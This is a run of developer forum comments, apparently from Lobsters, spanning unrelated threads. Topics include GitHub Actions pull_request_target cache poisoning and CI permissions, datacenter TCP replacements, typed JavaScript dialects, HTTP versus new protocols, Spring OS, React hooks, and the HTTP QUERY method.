pull_request_target. See the linked SO answer in a sibling commnet, it explains the issue quite nicely.Ah, comment by Foxboron clarifies that what happened here is not the job directly publishing malicious code, but rather poisoning the build cache to make the main branch CI pull bad data in! Clever! So, just don’t give any permissions for pull_request_trigger jobs!
My public repos don’t run CI jobs for PRs automatically, it has to be manually approved. I think this is the default. Not sure what happened in this case though.
By default it has to be approved for first-time contributors. Not too hard to get an easy PR merged in and get access to auto-running them.
It is totally fine to run CI on PR. CI for PRs does not get to use repository secrets, unless you go out of your way to also include secrets.
If you think your security depends on PRs not triggering CI then it’s is likely that either:
GitHub “don’t run CI for first time contributors” has nothing to do with security and has everything to do with using maintainer’s human judgement to protect free GitHub runners free compute from being used for mining crypto.
That is, this is a feature to protect GitHub/Microsoft, not your project.
Should be easily solvable by billing those minutes to the PR creator.
I guess there is also the situation where you provide your own runner rather than buying it from Github. In that case it seems like a reasonable precaution to restrict unknown people from using it.
Yes! I sympathize GitHub for having to implement something here on a short notice when this happened the first time, but I am dismayed that they didn’t get to implementing a proper solution here: https://matklad.github.io/2022/10/24/actions-permissions.html
Yes, the security with self-hosted runners is different. If you use non-sandboxed self-hosted runners, they should never be used for PRs.
Thank you, that’s a great summary, and a very interesting attack vector.
It’s strange (to me) that a release would be created off of an arbitrary user created branch, but I’m sure there’s a reason for it. In years and years of working with build automation I’ve never thought about that kind of code injection attack, so it’s something I’ll start keeping in mind when doing that kind of work.
It’s missing the part where you create a custom ABNF syntax, because you can’t have an RFC without one ;-P
What I find so frustrating about this paper is the fact it doesn’t engage with the long history of replacing TCP in the datacenter, the set of already-deployed solutions, and what we’ve learned from them. Part of that is that the solutions are mostly proprietary (but not secret, e.g. https://ieeexplore.ieee.org/document/9167399), but I can’t explain all of it.
Then it says things like:
Every aspect? Except the aspects of the design you’ve chosen to keep in your proposed solution?
I feel like if a student presented this at a conference it would get very poorly received, but this is getting a lot of airtime because a famous name is attached to it.
Yeah, given that the paper is really about how to do RPCs as efficiently as possible, maybe another framing would have been better.
Another example of an application built on Emacs was Amazon’s early in-house customer service app:
https://sites.google.com/site/steveyegge2/tour-de-babel#h.p_ID_191
Don’t we already have languages like this, strongly typed but transpires into JS. Elm and such? Why do we need another one?
Also, any language in a JSVM needs to interoperate with existing JS APIs or it’s not much use. That means you either have to write glue code for all those APIs, which is a ton of work because there are zillions of them, or you need a type system that can express the way those APIs work, which is what TypeScript does.
Added a note how this would be different from Elm or ReScript: https://axisofeval.blogspot.com/2024/11/an-alternative-idea-for-typed-language.html#diff
I think part of the problem with a simple “JS with types” is that JS already has types, they’re just implicit and dynamic. But because they’re implicit and dynamic, they are way more complicated than any static type system can properly define.
A good (and simple) example is string literals. Consider the following Javascript code:
Is this code correctly typed or not? If we say that
behavior’s value is a string, then yes, it is correctly typed. But if we look at the documentation for the function, then we can see that the only allowed values for thebehaviorstring are “smooth”, “instant”, and “auto”. Which means that this code is very clearly invalid.Now one could argue that the type system is always going to be a limited reflection of runtime values. If we just enforce that the values are strings, we at least prevent cases where the user typed
5instead of"smooth". But the problem is that existing JS APIs are full of these dynamic aspects that rely on JS being a dynamic language where the human developer essentially acts as the type checker, ensuring that the code is correct. Which means that either Qwax users don’t get any support when using these dynamic types, because the type system isn’t complicated enough to handle it; or you build wrappers around most APIs to support using them in a type-safe manner (e.g. enums or enum-like constructs to ensure thatscrollIntoViewgets the correct arguments).With languages like Elm or ReScript, because the language is actively trying not to be Javascript, the language designers can solve this problem in other ways. For example, in Elm, you have little-to-no access to the native JS functions. Everything is wrapped, which means the Elm designers can redesign all the functions to use the features of the Elm type system, and avoid errors that way. Meanwhile, ReScript actually adopts a strategy more like Typescript’s of modelling JS patterns via the ReScript language. For example, ReScript enums/variants compile down to just strings (or just object literals, depending on context). This makes JS interop very easy, but still means you don’t need a concept like string literals in your type system.
There’s similar issues with object literals (arguably the most common way of creating objects in Javascript) which are theoretically completely untyped, but in the dynamic programmer’s compiler brain always have some sort of type. If you’re going to expect your users to mostly write classes and pass around instances of those classes, then in many ways, they’re not really writing Javascript any more.
I should have been clearer, I meant “a subset of JS with types”. That subset will have the same syntax as JS, but you won’t be able to everything you can do with JS.
I would like to read an introductory section that provides context. E.g. I like Simon Peyton Jones’ 4-point approach:
I really thought the “Goals” section was enough to outline what problem is.
basically, http is too complex and easy to mess up, while simpler protocols don’t have the required features for robust error handling.
The basics of HTTP are not complex. Certainly not basic serving of static files, even using Range requests. I’ve implemented this stuff several times in my career.
The nice thing about HTTP is also that you generally don’t have to implement it; any platform down to the lowly embedded ones already has an HTTP library.
There’s also a vast ecosystem around HTTP for proxying, filtering, debugging, analytics, you name it.
If you just want to invent a boutique protocol for fun — which is, I suppose, why Gemini exists — then go for it; but I don’t see any reason this new protocol is necessary or an improvement. In general it just contributes to the “now you have 14 standards” problem.
If all you want is a 90% solution, sure, it’s easy.
I’ve spent the past few months fixing and fighting 90% solutions.
sure, there’s a lot of tools for working with http, but they’re mostly focused on the 90% that already works. i haven’t been able to find any sort of forward proxy to automatically retry connections (the closest i know of is plan9’s aan, but i no longer run plan9), which is what i need to work around http clients that are insufficiently robust to random tcp disconnects.
Related: Spring was an interesting, 90s object-oriented OS by Sun. Like Plan 9 it had a unified namespace. Unlike Plan 9, every object doesn’t have to pretend to be a filesystem.
https://lobste.rs/s/u67weo/uniform_name_service_for_spring_s_unix
What’s the best intro to GNAP?
Am I understanding it correctly that hooks were invented because people didn’t want to create class-based components for some reason?
Personally, I don’t think that’s why hooks came to be. I mean partially, yes, there was a lot more boilerplate when class-based components were in vogue, and then pure function components entered the picture and took away that boilerplate… at the cost of not being able to have any state or respond to any lifecycle events. That’s one problem hooks solve: being able to respond to state and lifecycle events from function components
The bigger advantage IMO is that hooks compose much better. You can write your own custom hook that itself calls
useStateanduseEffect, then use that custom hook in a component, making it possible to write a general abstraction that doesn’t pollute the state of the component itself. Even ignoring that, one component can calluseStatemore than once to create multiple independent pieces of state (instead of bundling them up into one top-level state object), and can calluseEffectfor multiple independent effects without having to have lots of complex state management incomponentDidMount,componentWillReceiveProps, etc.useEffectis still a pretty dangerous footgun, but I’ll take it any day of the week over having to figure out if I want my code incomponentDidMountversuscomponentWillMountagain…My face when I never thought of doing that and I’m literally removing hundreds of lines of code at the moment…
Even though I have used React (or Vue) for a long time now, I’m far from being an expert, and I don’t really like frontend dev that much anyway. So, many thanks! If you have more simple ideas like that to make my code easier/simpler/… feel free to share them :)
Or at least that the react team at Facebook wanted their devs to write something other than class components, but essentially yes.
Interesting idea, though…
I get why this would be, but feels kinda gross to me (in a very subjective way that I can’t explain yet).
There’s nothing in HTTP and/or REST that says that every method has to return a representation of the targeted resource (obvious example: POST).
In the case of QUERY, we are interested in other resources, not the endpoint itself, so it seems fine to me.
Yeah, I think it doesn’t sound too terrible, depending on the implementation. I think the main issue I have is what seems like “API design smell.”
Ex: I’d rather use QUERY on a
widgetsendpoint that only returned widgets, than to have a singlequeryendpoint that could return anything. A general-purposequeryendpoint allows clients to introduce too much coupling to your underlying data model.There are use cases and tradeoffs for both ways I guess, which is why I suppose I’m not totally against the idea.